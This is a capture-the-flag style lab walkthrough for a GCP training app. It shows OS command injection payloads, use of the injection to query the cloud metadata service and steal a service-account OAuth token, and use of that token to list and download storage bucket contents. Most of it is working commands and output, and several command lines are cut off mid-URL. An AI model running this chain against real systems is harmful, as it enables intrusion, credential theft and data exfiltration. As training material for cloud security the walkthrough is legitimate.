The Plan:

```
Target #1 -> gcp-training-283919.uc.r.appspot.com

- Find a CMDi vulnerability in the following web app: https://gcp-training-283919.uc.r.appspot.com/
- Collect secrets from the metadata service to communicate with the GCP control plane
- See what other services and resources these secerts will enable us to access
```

Find a CMDi Vulnerability

A OS command injection (CMDi) is a web security vulnerability that allows an attacker to execute arbitrary operating system (OS) commands on the server that is running an application, and typically fully compromise the application and all its data. Frequently, an attacker can leverage an OS command injection vulnerability to compromise other parts of the hosting infrastructure, exploiting trust relationships to pivot the attack to other systems within the organization.

Browse to the targeted website:

```
https://gcp-training-283919.uc.r.appspot.com/
```

Input the following into the text box to inject the “id” command after the ip address:

```
127.0.0.1;id
```

We should now see a reply similar to the following:

```
('PING 127.0.0.1 (127.0.0.1) 56(84) bytes of data.\n'
'64 bytes from 127.0.0.1: icmp_seq=1 ttl=0 time=1.65 ms\n'
'64 bytes from 127.0.0.1: icmp_seq=2 ttl=0 time=0.072 ms\n'
'64 bytes from 127.0.0.1: icmp_seq=3 ttl=0 time=0.063 ms\n'
'\n'
'--- 127.0.0.1 ping statistics ---\n'
'3 packets transmitted, 3 received, 0% packet loss, time 2001ms\n'
'rtt min/avg/max/mdev = 0.063/0.597/1.656/0.748 ms\n'
'uid=33(www-data) gid=33(www-data) groups=33(www-data)\n')
```

We can see in the output the result for both the “ping” command and the injected “id” command is returned.

The “id” command in this lab returns the results similar to:

```
uid=33(www-data) gid=33(www-data) groups=33(www-data)
```

CMDi via Curl

From our Linux server, we can leverage curl to also exploit the above vulnerability:

```
curl -d "destination=;id" -X POST https://gcp-training-283919.uc.r.appspot.com/ping
```

We should see back a respond similar to:

```
'uid=33(www-data) gid=33(www-data) groups=33(www-data)\n'
```

Applications Installed on Remote Target

Next, we can attempt to see what applications are installed on the remote server via using the “which” command:

```
curl -d "destination=;which python3" -X POST https://gcp-training-283919.uc.r.appspot.com/ping
```

We should see back a respond similar to:

```
'/env/bin/python3\n'
```

Next, we can also check to see if “curl” is install on the remote target:

```
curl -d "destination=;which curl" -X POST https://gcp-training-283919.uc.r.appspot.com/ping
```

We should see back a respond similar to:

```
'/usr/bin/curl\n'
```

This output indicates that the “curl” application is install on the remote target server, which is currently hosting this vulnerable web application.

Collect GCP Project Name

Discover the project name associated with this remote web application via the CMDi vulnerability by using the following command:

```
curl -d "destination=;curl -H 'Metadata-Flavor: Google' http://metadata.google.internal/computeMetadata/v1/project/project-id" -X POST https://gcp-training-283919.uc.r.appspot.com/pin
```

We should see back a respond similar to:

```
'gcp-training-283919'
```

This is the project name (i.e. “gcp-training-283919” is the project name).

Under the hood

The above command leverages the CMDi vulnerability in the remote web server…

```
curl -d "destination=CMDi" -X POST https://gcp-training-283919.uc.r.appspot.com/ping
```

… to have the web server run the “curl” application to access the metadata service…

```
curl -H 'Metadata-Flavor: Google' http://metadata.google.internal/computeMetadata/v1/project/project-id
```

Collect Secrets

We can collect the (i.e. OAuth 2.0 token) via the CMDi vulnerability:

```
curl -d "destination=;curl -H 'Metadata-Flavor: Google' http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token" -X POST https://gcp-training-283919
```

We should see back a respond similar to:

```
'{"access_token":"ya29.c.Knr...TOKEN_HERE...kDW_h5lxmw","expires_in":1799,"token_type":"Bearer"}'
```

Check Scope

Now let’s check what access we have to resources within GCP via these newly collected tokens:

```
curl https://www.googleapis.com/oauth2/v1/tokeninfo?access_token=ya29.c.KnL...TOKEN_HERE...FvC_gs
```

We should now see a reply similar to the following:


```
{
  "issued_to": "107735273737624492992",
  "audience": "107735273737624492992",
  "scope": "https://www.googleapis.com/auth/trace.append https://www.googleapis.com/auth/monitoring.write https://www.googleapis.com/auth/userinfo.email https://www.googleapis.com/aut
  "expires_in": 1774,
  "email": "gcp-training-283919@appspot.gserviceaccount.com",
  "verified_email": true,
  "access_type": "online"
}
```


The “scope” section shows us what these secrets can access.

Accessing Resources

Looking closely at the “scope” section we can see that we have access to the following:

```
https://www.googleapis.com/auth/devstorage.full_control
```

If we look this up in the documentation…

```
Type: full-control

Description: Allows full control over data, including the ability to modify IAM policies.

Scope URL: https://www.googleapis.com/auth/devstorage.full_control
```

See: https://cloud.google.com/storage/docs/authentication

Listing Buckets

Leveraging this access, we can list the buckets available in the storage account:

```
curl -X GET -H "Authorization: Bearer ya29.c.KnL...TOKEN_HERE...FvC_gs" "https://storage.googleapis.com/storage/v1/b?project=gcp-training-283919"
```

We should see a respond from this command similar to the following:


```
{
  "kind": "storage#buckets",
  "items": [
    {
      "kind": "storage#bucket",
      "selfLink": "https://www.googleapis.com/storage/v1/b/gcp-training-283919.appspot.com",
      "id": "gcp-training-283919.appspot.com",
      "name": "gcp-training-283919.appspot.com",
      "projectNumber": "656170252260",
      "metageneration": "1",
      "location": "US",
      "storageClass": "STANDARD",
      "etag": "CAE=",
      "timeCreated": "2020-07-20T19:58:41.277Z",
      "updated": "2020-07-20T19:58:41.277Z",
      "iamConfiguration": {
        "bucketPolicyOnly": {
          "enabled": false
        },
        "uniformBucketLevelAccess": {
          "enabled": false
        }
      },
      "locationType": "multi-region"
    },
...
```


We see from this output that the following bucket exists in the project:

```
gcp-training-283919.appspot.com
```

Listing Objects/Files in Buckets

Next we can list objects/files within this bucket using the following command:

```
curl -X GET -H "Authorization: Bearer ya29.c.KnL...TOKEN_HERE...FvC_gs" "https://storage.googleapis.com/storage/v1/b/gcp-training-283919.appspot.com/o"
```

We should see a respond from this command similar to the following:


```
{
  "kind": "storage#objects",
  "items": [
    {
      "kind": "storage#object",
      "id": "gcp-training-283919.appspot.com/flag.txt/1595787516958702",
      "selfLink": "https://www.googleapis.com/storage/v1/b/gcp-training-283919.appspot.com/o/flag.txt",
      "mediaLink": "https://storage.googleapis.com/download/storage/v1/b/gcp-training-283919.appspot.com/o/flag.txt?generation=1595787516958702&alt=media",
      "name": "flag.txt",
      "bucket": "gcp-training-283919.appspot.com",
      "generation": "1595787516958702",
      "metageneration": "1",
      "contentType": "text/plain",
      "storageClass": "STANDARD",
      "size": "17",
      "md5Hash": "NCKVD6Wt2UqiZnbGn+SM7w==",
      "crc32c": "dN6jSA==",
      "etag": "CO6v1+DD6+oCEAE=",
      "timeCreated": "2020-07-26T18:18:36.958Z",
      "updated": "2020-07-26T18:18:36.958Z",
      "timeStorageClassUpdated": "2020-07-26T18:18:36.958Z"
    }
  ]
}
```


We can see this bucket has one object/file called:

```
flag.txt
```

Downloading Files in Buckets

Next we can download files in the bucket using the following commands:

```
mkdir /tmp/gcp_labs
```

```
curl -X GET -H "Authorization: Bearer ya29.c.KnL...TOKEN_HERE...FvC_gs" -o "/tmp/gcp_labs/flag.txt" "https://storage.googleapis.com/storage/v1/b/gcp-training-283919.appspot.com/o/flag
```

We can now see the contents of the file via the following command:

```
cat /tmp/gcp_labs/flag.txt
```

References:

https://portswigger.net/web-security/os-command-injection

https://cloud.google.com/storage/docs/json_api/v1/how-tos/authorizing